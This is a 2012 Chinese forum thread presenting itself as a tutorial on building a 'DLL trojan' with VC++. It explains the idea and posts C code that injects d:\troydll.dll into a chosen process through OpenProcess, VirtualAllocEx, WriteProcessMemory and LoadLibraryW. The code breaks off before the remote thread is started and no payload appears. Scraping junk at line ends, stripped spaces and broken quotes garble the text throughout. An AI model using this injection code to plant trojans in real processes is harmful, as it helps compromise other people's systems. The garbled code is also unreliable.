a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 75|回复: 1

[C语言] 使用VC++动态链接库编程制作DLL木马

[复制链接]
发表于 2012-7-31 21:48:08 | 显示全部楼层 |阅读模式
  DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。
3 ]6 P  O" F: _# G& O; A! q  DLL木马的原理, z5 z3 E$ K; \' G7 {% C2 y
  DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。# d* U/ S( {; c% u! ]; w7 j2 U/ ?9 m, O
  正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:' I) w  Y) f. t% a9 z
  它将d盘根目录下的troydll.dll插入到ID为4000的进程中:
3 ]; N6 c/ L. v$ v. U2 I; o  #includewindows.h
. D0 X; e8 l* o' D/ w  q! r  #includestdlib.h
7 V* C$ ^0 a9 O( e  #includestdio.h1 n# E+ |7 Y0 v3 D+ \7 |* K* A
  voidCheckError(int,int,char*);//出错处理函数( G% w9 b( ~/ w4 I1 N  H" x/ T' w
  PDWORDpdwThreadId;
回复

使用道具 举报

 楼主| 发表于 2012-7-31 21:48:09 | 显示全部楼层

使用VC++动态链接库编程制作DLL木马

  HANDLEhRemoteThread,hRemoteProcess;
$ Y" e/ E" Y2 e2 S' Y3 E  DWORDfdwCreate,dwStackSize,dwRemoteProcessId;9 U' _8 @/ A: f' ?
  PWSTRpszLibFileRemote=NULL;
$ A+ X# h# v0 D" @7 c- E3 t  voidmain(intargc,char**argv)
( R$ X* P: Y9 m' q- i9 e  {$ t9 E% Y( E4 b; Q; x% _
  intiReturnCode;+ M1 `5 F0 f* m9 S/ k' }# D6 o+ P
  charlpDllFullPathName[MAX_PATH];# a" Z) O1 X4 x: {( m7 D- |: ^
  WCHARpszLibFileName[MAX_PATH]={0};
1 q1 R% R: u6 `6 L$ A, X  dwRemoteProcessId=4000;5 F8 n9 o' r8 a; V
  strcpy(lpDllFullPathName,“"d:““““troydll.dll“");
' G. r* z0 g% J3 }7 U' T& U  //将DLL文件全路径的ANSI码转换成UNICODE码. \) c5 g+ S- y5 K- h) K2 m
  iReturnCode=MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,
  S& s' D- W; X* ]/ G  lpDllFullPathName,strlen(lpDllFullPathName),' d# V0 V/ i0 ~6 P
  pszLibFileName,MAX_PATH);: h$ K8 i. K$ R" o- |2 M" d4 h
  CheckError(iReturnCode,0,“"MultByteToWideChar“");) b: i9 r/ u# ?
  //打开远程进程
! a7 }0 k: L9 N' G  hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD//允许创建线程+ S9 F0 e9 D& S' R3 }0 C8 E
  PROCESS_VM_OPERATION//允许VM操作
+ S% c& h$ ]1 C, P* S! [+ k% \  PROCESS_VM_WRITE,//允许VM写' O5 ~9 j3 U" y8 A+ b) v. H. ?% J/ ]
  FALSE,dwRemoteProcessId);
. \; t: {, ~. A: x  b. p6 Q  CheckError((int)hRemoteProcess,NULL,“"RemoteProcessnotExistorAccessDenied!“");
# R, f9 B( Q! G  //计算DLL路径名需要的内存空间2 @4 J" }  f- c
  intcb=(1+lstrlenW(pszLibFileName))*sizeof(WCHAR);  Z7 L' \0 ^1 g6 }4 o* s2 x
  pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
( q1 g% @- a" _5 E# X. d  CheckError((int)pszLibFileRemote,NULL,“"VirtualAllocEx“");
+ [6 l7 i, C: |, {5 ]  //将DLL的路径名复制到远程进程的内存空间: g$ Q$ j- o2 _
  iReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);+ y& J6 ^1 E/ m% S& e( s
  CheckError(iReturnCode,false,“"WriteProcessMemory“");# U2 A* |# Z1 H" k& ]
  //计算LoadLibraryW的入口地址: z* I" r/ C$ ~6 ?- a
  PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)
' d9 n4 H5 B0 s' |7 z1 t  GetProcAddress(GetModuleHandle(TEXT(“"Kernel32“")),“"LoadLibraryW“");' l4 N* g% ]7 s) x
  CheckError((int)pfnStartAddr,NULL,“"GetProcAddress“");
- H% F1 r0 U$ a- b1 ~  //启动远程线程,通过远程线程调用用户的DLL文件
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-18 07:39 , Processed in 0.185457 second(s), 23 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表